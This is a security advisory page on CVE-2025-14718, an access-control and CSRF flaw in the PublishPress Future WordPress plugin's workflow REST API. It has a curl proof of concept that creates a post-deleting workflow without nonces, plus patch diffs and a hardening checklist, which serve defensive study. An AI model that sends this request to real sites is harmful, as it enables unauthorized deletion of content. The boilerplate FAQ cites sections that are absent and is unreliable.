SECURITY ADVISORY / 01

CVE-2025-14718 Exploit & Vulnerability Analysis

Complete CVE-2025-14718 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:post-expirator NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An authenticated Contributor can hit PublishPress Future’s REST workflow API without the workflow-specific nonce or a strong permission check.

curl -i -X POST 'https://TARGET/wp-json/publishpress-future/v1/workflows' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: wordpress_logged_in_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' \
  -d '{
    "title":"auto-delete-admin-post",
    "trigger":"publish",
    "action":"delete_post",
    "post_id":42
  }'

The server returns a success response and creates a workflow even though the request omits X-WP-Nonce and X-PP-Workflow-Nonce. A malicious workflow can then delete an administrator-owned post when it is published or updated.

What the Patch Did

Before:

public const PERMISSION_READ = 'edit_posts';
public const PERMISSION_CREATE = 'edit_posts';
public const PERMISSION_UPDATE = 'edit_posts';
public const PERMISSION_DELETE = 'edit_posts';

After:

public const PERMISSION_READ = CapabilitiesAbstract::EDIT_WORKFLOWS;
public const PERMISSION_CREATE = CapabilitiesAbstract::EDIT_WORKFLOWS;
public const PERMISSION_UPDATE = CapabilitiesAbstract::EDIT_WORKFLOWS;
public const PERMISSION_DELETE = CapabilitiesAbstract::EDIT_WORKFLOWS;
public const PERMISSION_PUBLISH = CapabilitiesAbstract::PUBLISH_WORKFLOWS;
public const PERMISSION_UNPUBLISH = CapabilitiesAbstract::UNPUBLISH_WORKFLOWS;

Before:

public function checkUserCanCallApi($request)
{
    return current_user_can(self::PERMISSION_READ);
}

After:

private function hasValidNonce($request)
{
    $nonce = $request->get_header('X-WP-Nonce');
    if (!$nonce || !wp_verify_nonce($nonce, 'wp_rest')) {
        return false;
    }

    $workflowNonce = $request->get_header('X-PP-Workflow-Nonce');
    if (!$workflowNonce || !wp_verify_nonce($workflowNonce, 'pp_workflow_action')) {
        return false;
    }

    return true;
}

The patch adds wp_verify_nonce() checks for the standard WordPress REST nonce and a workflow-specific pp_workflow_action nonce. It also replaces generic edit_posts capability gating with workflow-specific capabilities from CapabilitiesAbstract.

Root Cause

This is an authorization bypass / improper access control bug (CWE-862) with a CSRF angle. The REST endpoint accepted authenticated requests based only on the generic edit_posts capability, and the old checkUserCanCallApi() implementation never validated the request nonce headers. A Contributor-controlled REST request could therefore create, update, delete, or publish workflows because the plugin trusted the caller without verifying the workflow action was authorized or the request was genuine.

Why It Works

The single load-bearing defense is the new nonce validation in hasValidNonce(): without wp_verify_nonce($nonce, 'wp_rest') and wp_verify_nonce($workflowNonce, 'pp_workflow_action'), the endpoint still accepts forged authenticated REST calls. The new workflow-specific capability constants are the authorization improvement; they prevent users with only edit_posts from managing workflows at all. The nonce checks are the critical second layer that prevents the same authenticated session from being abused via CSRF or cross-site REST invocation.

Hardening Checklist

  • Use current_user_can() on plugin-specific capabilities instead of generic edit_posts or publish_posts.
  • Register REST endpoints with permission_callback that checks both current_user_can() and action-specific nonces.
  • Validate X-WP-Nonce with wp_verify_nonce(..., 'wp_rest') for all POST/PUT/DELETE REST requests.
  • Add a second workflow-specific nonce header and verify it with wp_verify_nonce(..., 'pp_workflow_action') before performing state-changing operations.
  • Define and assign custom capabilities via add_cap() / map_meta_cap() so workflow management is separable from general post editing.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-14718

Frequently asked questions about CVE-2025-14718

What is CVE-2025-14718?

CVE-2025-14718 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-14718?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-14718. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-14718 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-14718?

CVE-2025-14718 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-14718?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2025-14718?

The severity rating and CVSS scoring for CVE-2025-14718 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.